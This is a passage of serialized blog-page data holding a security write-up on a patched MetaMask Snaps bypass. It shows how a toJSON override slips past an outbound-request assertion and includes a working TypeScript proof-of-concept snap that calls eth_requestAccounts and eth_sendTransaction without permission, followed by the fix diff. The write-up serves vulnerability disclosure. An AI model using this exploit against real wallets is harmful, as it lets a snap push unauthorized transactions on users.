'__proto__'",{"type":24,"tag":83,"props":39021,"children":39022},{"style":143},[39023],{"type":29,"value":23447},{"type":24,"tag":83,"props":39025,"children":39026},{"style":137},[39027],{"type":29,"value":39028}," propKey",{"type":24,"tag":83,"props":39030,"children":39031},{"style":143},[39032],{"type":29,"value":877},{"type":24,"tag":83,"props":39034,"children":39035},{"style":187},[39036],{"type":29,"value":39037}," 'constructor'",{"type":24,"tag":83,"props":39039,"children":39040},{"style":107},[39041],{"type":29,"value":253},{"type":24,"tag":83,"props":39043,"children":39044},{"class":85,"line":256},[39045,39049,39054],{"type":24,"tag":83,"props":39046,"children":39047},{"style":117},[39048],{"type":29,"value":15482},{"type":24,"tag":83,"props":39050,"children":39051},{"style":90},[39052],{"type":29,"value":39053}," undefined",{"type":24,"tag":83,"props":39055,"children":39056},{"style":107},[39057],{"type":29,"value":321},{"type":24,"tag":83,"props":39059,"children":39060},{"class":85,"line":270},[39061],{"type":24,"tag":83,"props":39062,"children":39063},{"style":107},[39064],{"type":29,"value":364},{"type":24,"tag":83,"props":39066,"children":39067},{"class":85,"line":302},[39068,39073,39078],{"type":24,"tag":83,"props":39069,"children":39070},{"style":117},[39071],{"type":29,"value":39072},"      return",{"type":24,"tag":83,"props":39074,"children":39075},{"style":137},[39076],{"type":29,"value":39077}," propValue",{"type":24,"tag":83,"props":39079,"children":39080},{"style":107},[39081],{"type":29,"value":321},{"type":24,"tag":83,"props":39083,"children":39084},{"class":85,"line":324},[39085],{"type":24,"tag":83,"props":39086,"children":39087},{"style":107},[39088],{"type":29,"value":38264},{"type":24,"tag":83,"props":39090,"children":39091},{"class":85,"line":345},[39092],{"type":24,"tag":83,"props":39093,"children":39094},{"style":107},[39095],{"type":29,"value":38131},{"type":24,"tag":83,"props":39097,"children":39098},{"class":85,"line":358},[39099],{"type":24,"tag":83,"props":39100,"children":39101},{"style":107},[39102],{"type":29,"value":35072},{"type":24,"tag":25,"props":39104,"children":39105},{},[39106,39108,39114,39116,39121,39123,39129,39131,39137],{"type":29,"value":39107},"The function performs a ",{"type":24,"tag":32,"props":39109,"children":39111},{"className":39110},[],[39112],{"type":29,"value":39113},"JSON.parse(JSON.stringify(value))",{"type":29,"value":39115}," in the argument sent to ",{"type":24,"tag":32,"props":39117,"children":39119},{"className":39118},[],[39120],{"type":29,"value":38794},{"type":29,"value":39122},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":32,"props":39124,"children":39126},{"className":39125},[],[39127],{"type":29,"value":39128},"toJSON",{"type":29,"value":39130}," function in a legit ",{"type":24,"tag":32,"props":39132,"children":39134},{"className":39133},[],[39135],{"type":29,"value":39136},"snap.request",{"type":29,"value":39138}," argument:",{"type":24,"tag":63,"props":39140,"children":39141},{},[39142,39147,39152],{"type":24,"tag":67,"props":39143,"children":39144},{},[39145],{"type":29,"value":39146},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":67,"props":39148,"children":39149},{},[39150],{"type":29,"value":39151},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":67,"props":39153,"children":39154},{},[39155],{"type":29,"value":39156},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":39158,"children":39159},{},[39160],{"type":29,"value":39161},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":63,"props":39163,"children":39164},{},[39165,39170],{"type":24,"tag":67,"props":39166,"children":39167},{},[39168],{"type":29,"value":39169},"forward blocked RPC methods",{"type":24,"tag":67,"props":39171,"children":39172},{},[39173,39175,39180,39182,39188,39190,39195],{"type":29,"value":39174},"Making requests in ",{"type":24,"tag":32,"props":39176,"children":39178},{"className":39177},[],[39179],{"type":29,"value":39136},{"type":29,"value":39181}," that were only supposed to be done within ",{"type":24,"tag":32,"props":39183,"children":39185},{"className":39184},[],[39186],{"type":29,"value":39187},"ethereum.request",{"type":29,"value":39189}," (with ",{"type":24,"tag":32,"props":39191,"children":39193},{"className":39192},[],[39194],{"type":29,"value":38368},{"type":29,"value":39196}," enabled).",{"type":24,"tag":25,"props":39198,"children":39199},{},[39200],{"type":29,"value":39201},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":1818,"props":39203,"children":39204},{"id":5407},[39205],{"type":29,"value":5410},{"type":24,"tag":25,"props":39207,"children":39208},{},[39209],{"type":29,"value":39210},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":39212,"children":39213},{},[39214],{"type":24,"tag":2510,"props":39215,"children":39217},{"alt":7,"src":39216},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":1818,"props":39219,"children":39221},{"id":39220},"proof-of-concept",[39222],{"type":29,"value":34566},{"type":24,"tag":25,"props":39224,"children":39225},{},[39226,39228,39233,39235,39240,39242,39248],{"type":29,"value":39227},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":32,"props":39229,"children":39231},{"className":39230},[],[39232],{"type":29,"value":38368},{"type":29,"value":39234}," permission, and used the ",{"type":24,"tag":32,"props":39236,"children":39238},{"className":39237},[],[39239],{"type":29,"value":37901},{"type":29,"value":39241}," interface to call ",{"type":24,"tag":32,"props":39243,"children":39245},{"className":39244},[],[39246],{"type":29,"value":39247},"eth_sendTransaction",{"type":29,"value":39249},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":73,"props":39251,"children":39253},{"className":35348,"code":39252,"language":35350,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[39254],{"type":24,"tag":32,"props":39255,"children":39256},{"__ignoreMap":7},[39257,39290,39297,39304,39321,39350,39357,39382,39389,39421,39432,39449,39462,39469,39476,39483,39515,39522,39529,39536,39552,39579,39586,39609,39616,39647,39658,39674,39686,39707,39722,39739,39747,39754,39761,39768,39799,39806,39813,39873,39880,39908,39925,39940,39956,39971,39983,40013,40020],{"type":24,"tag":83,"props":39258,"children":39259},{"class":85,"line":86},[39260,39264,39268,39273,39277,39281,39286],{"type":24,"tag":83,"props":39261,"children":39262},{"style":117},[39263],{"type":29,"value":19223},{"type":24,"tag":83,"props":39265,"children":39266},{"style":107},[39267],{"type":29,"value":9333},{"type":24,"tag":83,"props":39269,"children":39270},{"style":137},[39271],{"type":29,"value":39272},"OnRpcRequestHandler",{"type":24,"tag":83,"props":39274,"children":39275},{"style":107},[39276],{"type":29,"value":35934},{"type":24,"tag":83,"props":39278,"children":39279},{"style":117},[39280],{"type":29,"value":19213},{"type":24,"tag":83,"props":39282,"children":39283},{"style":187},[39284],{"type":29,"value":39285}," '@metamask/snaps-types'",{"type":24,"tag":83,"props":39287,"children":39288},{"style":107},[39289],{"type":29,"value":321},{"type":24,"tag":83,"props":39291,"children":39292},{"class":85,"line":113},[39293],{"type":24,"tag":83,"props":39294,"children":39295},{"emptyLinePlaceholder":16},[39296],{"type":29,"value":3422},{"type":24,"tag":83,"props":39298,"children":39299},{"class":85,"line":128},[39300],{"type":24,"tag":83,"props":39301,"children":39302},{"emptyLinePlaceholder":16},[39303],{"type":29,"value":3422},{"type":24,"tag":83,"props":39305,"children":39306},{"class":85,"line":183},[39307,39311,39316],{"type":24,"tag":83,"props":39308,"children":39309},{"style":90},[39310],{"type":29,"value":31126},{"type":24,"tag":83,"props":39312,"children":39313},{"style":101},[39314],{"type":29,"value":39315}," jsonExploit",{"type":24,"tag":83,"props":39317,"children":39318},{"style":107},[39319],{"type":29,"value":39320},"(){\n",{"type":24,"tag":83,"props":39322,"children":39323},{"class":85,"line":203},[39324,39328,39332,39336,39341,39345],{"type":24,"tag":83,"props":39325,"children":39326},{"style":90},[39327],{"type":29,"value":655},{"type":24,"tag":83,"props":39329,"children":39330},{"style":137},[39331],{"type":29,"value":18804},{"type":24,"tag":83,"props":39333,"children":39334},{"style":143},[39335],{"type":29,"value":146},{"type":24,"tag":83,"props":39337,"children":39338},{"style":107},[39339],{"type":29,"value":39340}," [] ",{"type":24,"tag":83,"props":39342,"children":39343},{"style":117},[39344],{"type":29,"value":8586},{"type":24,"tag":83,"props":39346,"children":39347},{"style":3163},[39348],{"type":29,"value":39349}," any\n",{"type":24,"tag":83,"props":39351,"children":39352},{"class":85,"line":212},[39353],{"type":24,"tag":83,"props":39354,"children":39355},{"emptyLinePlaceholder":16},[39356],{"type":29,"value":3422},{"type":24,"tag":83,"props":39358,"children":39359},{"class":85,"line":256},[39360,39365,39369,39373,39377],{"type":24,"tag":83,"props":39361,"children":39362},{"style":137},[39363],{"type":29,"value":39364},"  x",{"type":24,"tag":83,"props":39366,"children":39367},{"style":107},[39368],{"type":29,"value":161},{"type":24,"tag":83,"props":39370,"children":39371},{"style":137},[39372],{"type":29,"value":1112},{"type":24,"tag":83,"props":39374,"children":39375},{"style":143},[39376],{"type":29,"value":146},{"type":24,"tag":83,"props":39378,"children":39379},{"style":187},[39380],{"type":29,"value":39381}," \"snap_dialog\"\n",{"type":24,"tag":83,"props":39383,"children":39384},{"class":85,"line":270},[39385],{"type":24,"tag":83,"props":39386,"children":39387},{"emptyLinePlaceholder":16},[39388],{"type":29,"value":3422},{"type":24,"tag":83,"props":39390,"children":39391},{"class":85,"line":302},[39392,39396,39400,39404,39408,39413,39417],{"type":24,"tag":83,"props":39393,"children":39394},{"style":137},[39395],{"type":29,"value":39364},{"type":24,"tag":83,"props":39397,"children":39398},{"style":107},[39399],{"type":29,"value":161},{"type":24,"tag":83,"props":39401,"children":39402},{"style":101},[39403],{"type":29,"value":39128},{"type":24,"tag":83,"props":39405,"children":39406},{"style":143},[39407],{"type":29,"value":146},{"type":24,"tag":83,"props":39409,"children":39410},{"style":107},[39411],{"type":29,"value":39412}," () ",{"type":24,"tag":83,"props":39414,"children":39415},{"style":90},[39416],{"type":29,"value":14564},{"type":24,"tag":83,"props":39418,"children":39419},{"style":107},[39420],{"type":29,"value":125},{"type":24,"tag":83,"props":39422,"children":39423},{"class":85,"line":324},[39424,39428],{"type":24,"tag":83,"props":39425,"children":39426},{"style":117},[39427],{"type":29,"value":16725},{"type":24,"tag":83,"props":39429,"children":39430},{"style":107},[39431],{"type":29,"value":125},{"type":24,"tag":83,"props":39433,"children":39434},{"class":85,"line":345},[39435,39440,39445],{"type":24,"tag":83,"props":39436,"children":39437},{"style":137},[39438],{"type":29,"value":39439},"      method:",{"type":24,"tag":83,"props":39441,"children":39442},{"style":187},[39443],{"type":29,"value":39444}," \"eth_requestAccounts\"",{"type":24,"tag":83,"props":39446,"children":39447},{"style":107},[39448],{"type":29,"value":989},{"type":24,"tag":83,"props":39450,"children":39451},{"class":85,"line":358},[39452,39457],{"type":24,"tag":83,"props":39453,"children":39454},{"style":137},[39455],{"type":29,"value":39456},"      params:",{"type":24,"tag":83,"props":39458,"children":39459},{"style":107},[39460],{"type":29,"value":39461}," []\n",{"type":24,"tag":83,"props":39463,"children":39464},{"class":85,"line":367},[39465],{"type":24,"tag":83,"props":39466,"children":39467},{"style":107},[39468],{"type":29,"value":446},{"type":24,"tag":83,"props":39470,"children":39471},{"class":85,"line":406},[39472],{"type":24,"tag":83,"props":39473,"children":39474},{"style":107},[39475],{"type":29,"value":455},{"type":24,"tag":83,"props":39477,"children":39478},{"class":85,"line":427},[39479],{"type":24,"tag":83,"props":39480,"children":39481},{"emptyLinePlaceholder":16},[39482],{"type":29,"value":3422},{"type":24,"tag":83,"props":39484,"children":39485},{"class":85,"line":440},[39486,39490,39495,39499,39503,39507,39511],{"type":24,"tag":83,"props":39487,"children":39488},{"style":117},[39489],{"type":29,"value":1054},{"type":24,"tag":83,"props":39491,"children":39492},{"style":137},[39493],{"type":29,"value":39494}," snap",{"type":24,"tag":83,"props":39496,"children":39497},{"style":107},[39498],{"type":29,"value":161},{"type":24,"tag":83,"props":39500,"children":39501},{"style":101},[39502],{"type":29,"value":175},{"type":24,"tag":83,"props":39504,"children":39505},{"style":107},[39506],{"type":29,"value":558},{"type":24,"tag":83,"props":39508,"children":39509},{"style":137},[39510],{"type":29,"value":19015},{"type":24,"tag":83,"props":39512,"children":39513},{"style":107},[39514],{"type":29,"value":2905},{"type":24,"tag":83,"props":39516,"children":39517},{"class":85,"line":449},[39518],{"type":24,"tag":83,"props":39519,"children":39520},{"emptyLinePlaceholder":16},[39521],{"type":29,"value":3422},{"type":24,"tag":83,"props":39523,"children":39524},{"class":85,"line":458},[39525],{"type":24,"tag":83,"props":39526,"children":39527},{"style":107},[39528],{"type":29,"value":464},{"type":24,"tag":83,"props":39530,"children":39531},{"class":85,"line":1065},[39532],{"type":24,"tag":83,"props":39533,"children":39534},{"emptyLinePlaceholder":16},[39535],{"type":29,"value":3422},{"type":24,"tag":83,"props":39537,"children":39538},{"class":85,"line":1668},[39539,39543,39548],{"type":24,"tag":83,"props":39540,"children":39541},{"style":90},[39542],{"type":29,"value":31126},{"type":24,"tag":83,"props":39544,"children":39545},{"style":101},[39546],{"type":29,"value":39547}," transactionExploit",{"type":24,"tag":83,"props":39549,"children":39550},{"style":107},[39551],{"type":29,"value":39320},{"type":24,"tag":83,"props":39553,"children":39554},{"class":85,"line":1713},[39555,39559,39563,39567,39571,39575],{"type":24,"tag":83,"props":39556,"children":39557},{"style":90},[39558],{"type":29,"value":655},{"type":24,"tag":83,"props":39560,"children":39561},{"style":137},[39562],{"type":29,"value":18804},{"type":24,"tag":83,"props":39564,"children":39565},{"style":143},[39566],{"type":29,"value":146},{"type":24,"tag":83,"props":39568,"children":39569},{"style":107},[39570],{"type":29,"value":39340},{"type":24,"tag":83,"props":39572,"children":39573},{"style":117},[39574],{"type":29,"value":8586},{"type":24,"tag":83,"props":39576,"children":39577},{"style":3163},[39578],{"type":29,"value":39349},{"type":24,"tag":83,"props":39580,"children":39581},{"class":85,"line":1730},[39582],{"type":24,"tag":83,"props":39583,"children":39584},{"emptyLinePlaceholder":16},[39585],{"type":29,"value":3422},{"type":24,"tag":83,"props":39587,"children":39588},{"class":85,"line":1770},[39589,39593,39597,39601,39605],{"type":24,"tag":83,"props":39590,"children":39591},{"style":137},[39592],{"type":29,"value":39364},{"type":24,"tag":83,"props":39594,"children":39595},{"style":107},[39596],{"type":29,"value":161},{"type":24,"tag":83,"props":39598,"children":39599},{"style":137},[39600],{"type":29,"value":1112},{"type":24,"tag":83,"props":39602,"children":39603},{"style":143},[39604],{"type":29,"value":146},{"type":24,"tag":83,"props":39606,"children":39607},{"style":187},[39608],{"type":29,"value":39381},{"type":24,"tag":83,"props":39610,"children":39611},{"class":85,"line":1778},[39612],{"type":24,"tag":83,"props":39613,"children":39614},{"emptyLinePlaceholder":16},[39615],{"type":29,"value":3422},{"type":24,"tag":83,"props":39617,"children":39618},{"class":85,"line":1803},[39619,39623,39627,39631,39635,39639,39643],{"type":24,"tag":83,"props":39620,"children":39621},{"style":137},[39622],{"type":29,"value":39364},{"type":24,"tag":83,"props":39624,"children":39625},{"style":107},[39626],{"type":29,"value":161},{"type":24,"tag":83,"props":39628,"children":39629},{"style":101},[39630],{"type":29,"value":39128},{"type":24,"tag":83,"props":39632,"children":39633},{"style":143},[39634],{"type":29,"value":146},{"type":24,"tag":83,"props":39636,"children":39637},{"style":107},[39638],{"type":29,"value":39412},{"type":24,"tag":83,"props":39640,"children":39641},{"style":90},[39642],{"type":29,"value":14564},{"type":24,"tag":83,"props":39644,"children":39645},{"style":107},[39646],{"type":29,"value":125},{"type":24,"tag":83,"props":39648,"children":39649},{"class":85,"line":1811},[39650,39654],{"type":24,"tag":83,"props":39651,"children":39652},{"style":117},[39653],{"type":29,"value":16725},{"type":24,"tag":83,"props":39655,"children":39656},{"style":107},[39657],{"type":29,"value":125},{"type":24,"tag":83,"props":39659,"children":39660},{"class":85,"line":8792},[39661,39665,39670],{"type":24,"tag":83,"props":39662,"children":39663},{"style":137},[39664],{"type":29,"value":39439},{"type":24,"tag":83,"props":39666,"children":39667},{"style":187},[39668],{"type":29,"value":39669}," \"eth_sendTransaction\"",{"type":24,"tag":83,"props":39671,"children":39672},{"style":107},[39673],{"type":29,"value":989},{"type":24,"tag":83,"props":39675,"children":39676},{"class":85,"line":8810},[39677,39681],{"type":24,"tag":83,"props":39678,"children":39679},{"style":137},[39680],{"type":29,"value":39456},{"type":24,"tag":83,"props":39682,"children":39683},{"style":107},[39684],{"type":29,"value":39685}," [{\n",{"type":24,"tag":83,"props":39687,"children":39688},{"class":85,"line":8855},[39689,39693,39698,39702],{"type":24,"tag":83,"props":39690,"children":39691},{"style":137},[39692],{"type":29,"value":31804},{"type":24,"tag":83,"props":39694,"children":39695},{"style":187},[39696],{"type":29,"value":39697}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":83,"props":39699,"children":39700},{"style":107},[39701],{"type":29,"value":568},{"type":24,"tag":83,"props":39703,"children":39704},{"style":2735},[39705],{"type":29,"value":39706},"// change this to your address\n",{"type":24,"tag":83,"props":39708,"children":39709},{"class":85,"line":8961},[39710,39714,39718],{"type":24,"tag":83,"props":39711,"children":39712},{"style":137},[39713],{"type":29,"value":31820},{"type":24,"tag":83,"props":39715,"children":39716},{"style":187},[39717],{"type":29,"value":39697},{"type":24,"tag":83,"props":39719,"children":39720},{"style":107},[39721],{"type":29,"value":989},{"type":24,"tag":83,"props":39723,"children":39724},{"class":85,"line":23248},[39725,39730,39735],{"type":24,"tag":83,"props":39726,"children":39727},{"style":137},[39728],{"type":29,"value":39729},"        value:",{"type":24,"tag":83,"props":39731,"children":39732},{"style":187},[39733],{"type":29,"value":39734}," \"0x1\"",{"type":24,"tag":83,"props":39736,"children":39737},{"style":107},[39738],{"type":29,"value":989},{"type":24,"tag":83,"props":39740,"children":39741},{"class":85,"line":23283},[39742],{"type":24,"tag":83,"props":39743,"children":39744},{"style":107},[39745],{"type":29,"value":39746},"      }]\n",{"type":24,"tag":83,"props":39748,"children":39749},{"class":85,"line":23291},[39750],{"type":24,"tag":83,"props":39751,"children":39752},{"style":107},[39753],{"type":29,"value":446},{"type":24,"tag":83,"props":39755,"children":39756},{"class":85,"line":23299},[39757],{"type":24,"tag":83,"props":39758,"children":39759},{"style":107},[39760],{"type":29,"value":455},{"type":24,"tag":83,"props":39762,"children":39763},{"class":85,"line":23308},[39764],{"type":24,"tag":83,"props":39765,"children":39766},{"emptyLinePlaceholder":16},[39767],{"type":29,"value":3422},{"type":24,"tag":83,"props":39769,"children":39770},{"class":85,"line":23350},[39771,39775,39779,39783,39787,39791,39795],{"type":24,"tag":83,"props":39772,"children":39773},{"style":117},[39774],{"type":29,"value":1054},{"type":24,"tag":83,"props":39776,"children":39777},{"style":137},[39778],{"type":29,"value":39494},{"type":24,"tag":83,"props":39780,"children":39781},{"style":107},[39782],{"type":29,"value":161},{"type":24,"tag":83,"props":39784,"children":39785},{"style":101},[39786],{"type":29,"value":175},{"type":24,"tag":83,"props":39788,"children":39789},{"style":107},[39790],{"type":29,"value":558},{"type":24,"tag":83,"props":39792,"children":39793},{"style":137},[39794],{"type":29,"value":19015},{"type":24,"tag":83,"props":39796,"children":39797},{"style":107},[39798],{"type":29,"value":581},{"type":24,"tag":83,"props":39800,"children":39801},{"class":85,"line":23383},[39802],{"type":24,"tag":83,"props":39803,"children":39804},{"style":107},[39805],{"type":29,"value":464},{"type":24,"tag":83,"props":39807,"children":39808},{"class":85,"line":23391},[39809],{"type":24,"tag":83,"props":39810,"children":39811},{"emptyLinePlaceholder":16},[39812],{"type":29,"value":3422},{"type":24,"tag":83,"props":39814,"children":39815},{"class":85,"line":23399},[39816,39820,39824,39829,39833,39838,39842,39847,39852,39856,39860,39865,39869],{"type":24,"tag":83,"props":39817,"children":39818},{"style":117},[39819],{"type":29,"value":37932},{"type":24,"tag":83,"props":39821,"children":39822},{"style":90},[39823],{"type":29,"value":38829},{"type":24,"tag":83,"props":39825,"children":39826},{"style":101},[39827],{"type":29,"value":39828}," onRpcRequest",{"type":24,"tag":83,"props":39830,"children":39831},{"style":143},[39832],{"type":29,"value":195},{"type":24,"tag":83,"props":39834,"children":39835},{"style":3163},[39836],{"type":29,"value":39837}," OnRpcRequestHandler",{"type":24,"tag":83,"props":39839,"children":39840},{"style":143},[39841],{"type":29,"value":146},{"type":24,"tag":83,"props":39843,"children":39844},{"style":107},[39845],{"type":29,"value":39846}," ({ ",{"type":24,"tag":83,"props":39848,"children":39849},{"style":137},[39850],{"type":29,"value":39851},"origin",{"type":24,"tag":83,"props":39853,"children":39854},{"style":107},[39855],{"type":29,"value":568},{"type":24,"tag":83,"props":39857,"children":39858},{"style":137},[39859],{"type":29,"value":175},{"type":24,"tag":83,"props":39861,"children":39862},{"style":107},[39863],{"type":29,"value":39864}," }) ",{"type":24,"tag":83,"props":39866,"children":39867},{"style":90},[39868],{"type":29,"value":14564},{"type":24,"tag":83,"props":39870,"children":39871},{"style":107},[39872],{"type":29,"value":125},{"type":24,"tag":83,"props":39874,"children":39875},{"class":85,"line":23408},[39876],{"type":24,"tag":83,"props":39877,"children":39878},{"emptyLinePlaceholder":16},[39879],{"type":29,"value":3422},{"type":24,"tag":83,"props":39881,"children":39882},{"class":85,"line":23484},[39883,39888,39892,39896,39900,39904],{"type":24,"tag":83,"props":39884,"children":39885},{"style":117},[39886],{"type":29,"value":39887},"  switch",{"type":24,"tag":83,"props":39889,"children":39890},{"style":107},[39891],{"type":29,"value":223},{"type":24,"tag":83,"props":39893,"children":39894},{"style":137},[39895],{"type":29,"value":175},{"type":24,"tag":83,"props":39897,"children":39898},{"style":107},[39899],{"type":29,"value":161},{"type":24,"tag":83,"props":39901,"children":39902},{"style":137},[39903],{"type":29,"value":1112},{"type":24,"tag":83,"props":39905,"children":39906},{"style":107},[39907],{"type":29,"value":253},{"type":24,"tag":83,"props":39909,"children":39910},{"class":85,"line":23517},[39911,39916,39921],{"type":24,"tag":83,"props":39912,"children":39913},{"style":117},[39914],{"type":29,"value":39915},"    case",{"type":24,"tag":83,"props":39917,"children":39918},{"style":187},[39919],{"type":29,"value":39920}," 'json'",{"type":24,"tag":83,"props":39922,"children":39923},{"style":107},[39924],{"type":29,"value":5313},{"type":24,"tag":83,"props":39926,"children":39927},{"class":85,"line":23525},[39928,39932,39936],{"type":24,"tag":83,"props":39929,"children":39930},{"style":117},[39931],{"type":29,"value":39072},{"type":24,"tag":83,"props":39933,"children":39934},{"style":101},[39935],{"type":29,"value":39315},{"type":24,"tag":83,"props":39937,"children":39938},{"style":107},[39939],{"type":29,"value":267},{"type":24,"tag":83,"props":39941,"children":39942},{"class":85,"line":23533},[39943,39947,39952],{"type":24,"tag":83,"props":39944,"children":39945},{"style":117},[39946],{"type":29,"value":39915},{"type":24,"tag":83,"props":39948,"children":39949},{"style":187},[39950],{"type":29,"value":39951}," 'transaction'",{"type":24,"tag":83,"props":39953,"children":39954},{"style":107},[39955],{"type":29,"value":5313},{"type":24,"tag":83,"props":39957,"children":39958},{"class":85,"line":23570},[39959,39963,39967],{"type":24,"tag":83,"props":39960,"children":39961},{"style":117},[39962],{"type":29,"value":39072},{"type":24,"tag":83,"props":39964,"children":39965},{"style":101},[39966],{"type":29,"value":39547},{"type":24,"tag":83,"props":39968,"children":39969},{"style":107},[39970],{"type":29,"value":267},{"type":24,"tag":83,"props":39972,"children":39973},{"class":85,"line":23583},[39974,39979],{"type":24,"tag":83,"props":39975,"children":39976},{"style":117},[39977],{"type":29,"value":39978},"    default",{"type":24,"tag":83,"props":39980,"children":39981},{"style":107},[39982],{"type":29,"value":5313},{"type":24,"tag":83,"props":39984,"children":39985},{"class":85,"line":23596},[39986,39991,39995,40000,40004,40009],{"type":24,"tag":83,"props":39987,"children":39988},{"style":117},[39989],{"type":29,"value":39990},"      throw",{"type":24,"tag":83,"props":39992,"children":39993},{"style":90},[39994],{"type":29,"value":944},{"type":24,"tag":83,"props":39996,"children":39997},{"style":101},[39998],{"type":29,"value":39999}," Error",{"type":24,"tag":83,"props":40001,"children":40002},{"style":107},[40003],{"type":29,"value":558},{"type":24,"tag":83,"props":40005,"children":40006},{"style":187},[40007],{"type":29,"value":40008},"'Method not found.'",{"type":24,"tag":83,"props":40010,"children":40011},{"style":107},[40012],{"type":29,"value":581},{"type":24,"tag":83,"props":40014,"children":40015},{"class":85,"line":23609},[40016],{"type":24,"tag":83,"props":40017,"children":40018},{"style":107},[40019],{"type":29,"value":455},{"type":24,"tag":83,"props":40021,"children":40022},{"class":85,"line":23663},[40023],{"type":24,"tag":83,"props":40024,"children":40025},{"style":107},[40026],{"type":29,"value":1071},{"type":24,"tag":25,"props":40028,"children":40029},{},[40030,40032,40038,40040,40045],{"type":29,"value":40031},"We set ",{"type":24,"tag":32,"props":40033,"children":40035},{"className":40034},[],[40036],{"type":29,"value":40037},"x.method = \"snap_dialog\"",{"type":29,"value":40039}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":32,"props":40041,"children":40043},{"className":40042},[],[40044],{"type":29,"value":39247},{"type":29,"value":40046}," after.",{"type":24,"tag":1818,"props":40048,"children":40050},{"id":40049},"mitigation",[40051],{"type":29,"value":40052},"Mitigation",{"type":24,"tag":25,"props":40054,"children":40055},{},[40056,40058,40063,40065,40072],{"type":29,"value":40057},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":32,"props":40059,"children":40061},{"className":40060},[],[40062],{"type":29,"value":38794},{"type":29,"value":40064}," function execution. The patch was introduced on commit ",{"type":24,"tag":2033,"props":40066,"children":40069},{"href":40067,"rel":40068},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[2037],[40070],{"type":29,"value":40071},"168ff08",{"type":29,"value":40073}," with the following changes:",{"type":24,"tag":73,"props":40075,"children":40079},{"className":40076,"code":40077,"language":40078,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[40080],{"type":24,"tag":32,"props":40081,"children":40082},{"__ignoreMap":7},[40083,40091,40099,40107,40115],{"type":24,"tag":83,"props":40084,"children":40085},{"class":85,"line":86},[40086],{"type":24,"tag":83,"props":40087,"children":40088},{"style":107},[40089],{"type":29,"value":40090},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":83,"props":40092,"children":40093},{"class":85,"line":113},[40094],{"type":24,"tag":83,"props":40095,"children":40096},{"style":187},[40097],{"type":29,"value":40098},"-      assertEthereumOutboundRequest(args);\n",{"type":24,"tag":83,"props":40100,"children":40101},{"class":85,"line":128},[40102],{"type":24,"tag":83,"props":40103,"children":40104},{"style":187},[40105],{"type":29,"value":40106},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":83,"props":40108,"children":40109},{"class":85,"line":183},[40110],{"type":24,"tag":83,"props":40111,"children":40112},{"style":245},[40113],{"type":29,"value":40114},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":83,"props":40116,"children":40117},{"class":85,"line":203},[40118],{"type":24,"tag":83,"props":40119,"children":40120},{"style":245},[40121],{"type":29,"value":40122},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":51,"props":40124,"children":40125},{"id":28683},[40126],{"type":29,"value":18686},{"type":24,"tag":25,"props":40128,"children":40129},{},[40130],{"type":29,"value":40131},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":40133,"children":40134},{},[40135],{"type":29,"value":40136},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":2584,"props":40138,"children":40139},{},[40140],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":40142},[40143,40144,40151,40159],{"id":18695,"depth":113,"text":18698},{"id":35187,"depth":113,"text":35190,"children":40145},[40146,40147,40148,40149,40150],{"id":35198,"depth":128,"text":35201},{"id":35266,"depth":128,"text":35269},{"id":35302,"depth":128,"text":35305},{"id":36693,"depth":128,"text":36696},{"id":37046,"depth":128,"text":37049},{"id":37831,"depth":113,"text":37834,"children":40152},[40153,40154,40155,40156,40157,40158],{"id":37837,"depth":128,"text":37840},{"id":37881,"depth":128,"text":37884},{"id":38780,"depth":128,"text":38783},{"id":5407,"depth":128,"text":5410},{"id":39220,"depth":128,"text":34566},{"id":40049,"depth":128,"text":40052},{"id":28683,"depth":113,"text":18686},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":40164,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40165,"descripti